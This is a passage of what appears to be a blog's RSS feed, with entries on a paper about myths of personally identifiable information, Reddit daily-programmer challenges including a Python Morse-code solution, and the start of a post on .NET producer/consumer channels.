lets you combine any two values of type &lt;code&gt;a&lt;/code&gt; into one, and the following holds:&lt;/p&gt;</description></item><item><title>Myths and Fallacies of 'Personally Identifiable Information'</title><link>https://www.curiosities.dev/politics-and-governance/wws351-it-policy/07-privacy/differential-privacy/2010-narayanan-myths-and-fallacies-of-pii/</link><pubDate>Tue, 01 Jun 2010 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/politics-and-governance/wws351-it-policy/07-privacy/differential-privacy/2010-narayanan-myths-and-fallacies-of-pii/</guid><description>&lt;blockquote&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Narayanan2010'&gt;
 
 Myths and Fallacies of &amp;#39;Personally Identifiable Information&amp;#39;&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Narayanan, Arvind; Shmatikov, Vitaly.
 
 
 
 
 
 &lt;a href="https://dl.acm.org/doi/fullHtml/10.1145/1743546.1743558" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=dl.acm.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;dl.acm.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Jun 1, 2010.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;/blockquote&gt;
&lt;h2 id="what-is-pii"&gt;What is PII?&lt;/h2&gt;
&lt;h3 id="from-breach-notification-laws"&gt;From Breach Notification Laws:&lt;/h3&gt;
&lt;p&gt;For example, California Senate Bill 1386: &lt;em&gt;SSNs, driver’s license numbers, financial accounts&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The list can never be exhaustive, e.g. email addresses and telephone numbers are not mentioned in Bill 1386.&lt;/p&gt;
&lt;p&gt;Focuses on data that are commonly used for authenticating an individual. Ignores data that reveals some sensitive information about an individual&lt;/p&gt;</description></item><item><title>218. To-Do List Pt. I</title><link>https://www.curiosities.dev/computer-science/programming-challenges/reddit-daily-programmer/easy-challenges/218-to-do-list-part-i/218-to-do-list-part-i/</link><pubDate>Sun, 03 Nov 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/reddit-daily-programmer/easy-challenges/218-to-do-list-part-i/218-to-do-list-part-i/</guid><description>&lt;h2 id="description"&gt;Description&lt;/h2&gt;
&lt;p&gt;Create a todo list with the following features: &lt;code&gt;addItem&lt;/code&gt;, &lt;code&gt;deleteItem&lt;/code&gt; and &lt;code&gt;viewList&lt;/code&gt;. 
&lt;a href="https://www.reddit.com/r/dailyprogrammer/comments/39ws1x/20150615_challenge_218_easy_todo_list_part_1/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 /r/dailyprogrammer post
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;</description></item><item><title>380. Smooshed Morse Code</title><link>https://www.curiosities.dev/computer-science/programming-challenges/reddit-daily-programmer/easy-challenges/380_smooshed_morse_code/380_smooshed_morse_code/</link><pubDate>Sun, 22 Sep 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/reddit-daily-programmer/easy-challenges/380_smooshed_morse_code/380_smooshed_morse_code/</guid><description>&lt;h2 id="description"&gt;Description&lt;/h2&gt;
&lt;p&gt;Covert a string, e.g. &lt;code&gt;programmer&lt;/code&gt; into Morse code, e.g. &lt;code&gt;.--..-.-----..-..-----..-.&lt;/code&gt; 
&lt;a href="https://www.reddit.com/r/dailyprogrammer/comments/cmd1hb/20190805_challenge_380_easy_smooshed_morse_code_1/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 /r/dailyprogrammer thread
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;
&lt;h2 id="solution"&gt;Solution&lt;/h2&gt;


&lt;div id=''&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;_380_smooshed_morse_code.py
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;Solve https://www.reddit.com/r/dailyprogrammer/comments/cmd1hb/20190805_challenge_380_easy_smooshed_morse_code_1/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; &lt;span style="color:#111"&gt;typing&lt;/span&gt; &lt;span style="color:#f92672"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;List&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;Iterable&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; &lt;span style="color:#111"&gt;collections&lt;/span&gt; &lt;span style="color:#f92672"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;defaultdict&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;os&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;&amp;#34;&amp;#34;A mapping of `[a...z]` to Morse code.&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;ALPHA_TO_MORSE&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;a&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;.-&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;b&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;-...&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;c&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;-.-.&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;d&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;-..&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;e&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;f&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;..-.&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;g&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;--.&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;h&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;....&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;i&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;..&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;j&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;.---&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;k&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;-.-&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;l&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;.-..&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;m&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;--&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;n&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;-.&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;o&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;---&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;p&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;.--.&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;q&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;--.-&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;r&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;.-.&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;s&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;...&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;t&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;-&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;u&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;..-&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;v&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;...-&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;w&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;.--&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;x&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;-..-&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;y&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;-.--&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;z&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;--..&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;def&lt;/span&gt; &lt;span style="color:#75af00"&gt;smorse&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;alpha_text&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#111"&gt;str&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;str&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; Args:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; alpha_text: The string whose characters are in `[a...z]`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; Returns:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; The smooshed morse code representation of `alpha_text`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; Raises:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; ValueError if any character in `alpha_text` is not in `[a...z]`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;smooshed_morse_text&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;None&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#111"&gt;len&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;alpha_text&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;for&lt;/span&gt; &lt;span style="color:#111"&gt;idx&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;c&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; &lt;span style="color:#111"&gt;enumerate&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;alpha_text&lt;/span&gt;&lt;span style="color:#111"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;c&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; &lt;span style="color:#111"&gt;ALPHA_TO_MORSE&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;raise&lt;/span&gt; &lt;span style="color:#75af00"&gt;ValueError&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;f&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#d88200"&gt;{&lt;/span&gt;&lt;span style="color:#111"&gt;c&lt;/span&gt;&lt;span style="color:#d88200"&gt;}&lt;/span&gt;&lt;span style="color:#d88200"&gt; is not a character in a...z (case-sensitive)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;smooshed_morse_text&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;idx&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;ALPHA_TO_MORSE&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;c&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;join&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;smooshed_morse_text&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;def&lt;/span&gt; &lt;span style="color:#75af00"&gt;main&lt;/span&gt;&lt;span style="color:#111"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;assert&lt;/span&gt; &lt;span style="color:#111"&gt;smorse&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;sos&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;...---...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;assert&lt;/span&gt; &lt;span style="color:#111"&gt;smorse&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;daily&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;-...-...-..-.--&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;assert&lt;/span&gt; &lt;span style="color:#111"&gt;smorse&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;programmer&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;.--..-.-----..-..-----..-.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;assert&lt;/span&gt; &lt;span style="color:#111"&gt;smorse&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;bits&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;-.....-...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;assert&lt;/span&gt; &lt;span style="color:#111"&gt;smorse&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;three&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;-.....-...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;__name__&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;main&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id="bonus-challenges"&gt;Bonus Challenges&lt;/h2&gt;
&lt;h3 id="bonus-challenge-1"&gt;Bonus Challenge #1&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The sequence &lt;code&gt;-...-....-.--.&lt;/code&gt; is the code for four different words (&lt;code&gt;needing&lt;/code&gt;, &lt;code&gt;nervate&lt;/code&gt;, &lt;code&gt;niding&lt;/code&gt;, &lt;code&gt;tiling&lt;/code&gt;). Find the only sequence that&amp;rsquo;s the code for 13 different words.&lt;/p&gt;</description></item><item><title>Passing Data Asynchronously Between Producers and Consumers (.NET)</title><link>https://www.curiosities.dev/computer-science/algorithms-and-data-structures/dotnet-threading-channels/</link><pubDate>Sat, 01 Aug 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/algorithms-and-data-structures/dotnet-threading-channels/</guid><description>&lt;p&gt;A channel is a data structure that&amp;rsquo;s used to store produced data for a consumer
to retrieve, and an appropriate synchronization to enable that to happen safely,
while also enabling appropriate notifications in both directions. &lt;span class="citation-ref"&gt;&lt;a href="#Toub2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="a-toy-channel"&gt;A Toy Channel&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cs" data-lang="cs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;sealed&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;class&lt;/span&gt; &lt;span style="color:#75af00"&gt;Channel&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#111"&gt;T&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Use a thread-safe data store to free us from locking semantics for any&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// number of producers and consumers.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;private&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;readonly&lt;/span&gt; &lt;span style="color:#111"&gt;ConcurrentQueue&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#111"&gt;T&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;_items&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt; &lt;span style="color:#111"&gt;ConcurrentQueue&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#111"&gt;T&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// A mechanism for coordinating between producers and consumers.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;private&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;readonly&lt;/span&gt; &lt;span style="color:#111"&gt;SemaphoreSlim&lt;/span&gt; &lt;span style="color:#111"&gt;_semaphore&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt; &lt;span style="color:#111"&gt;Semaphore&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
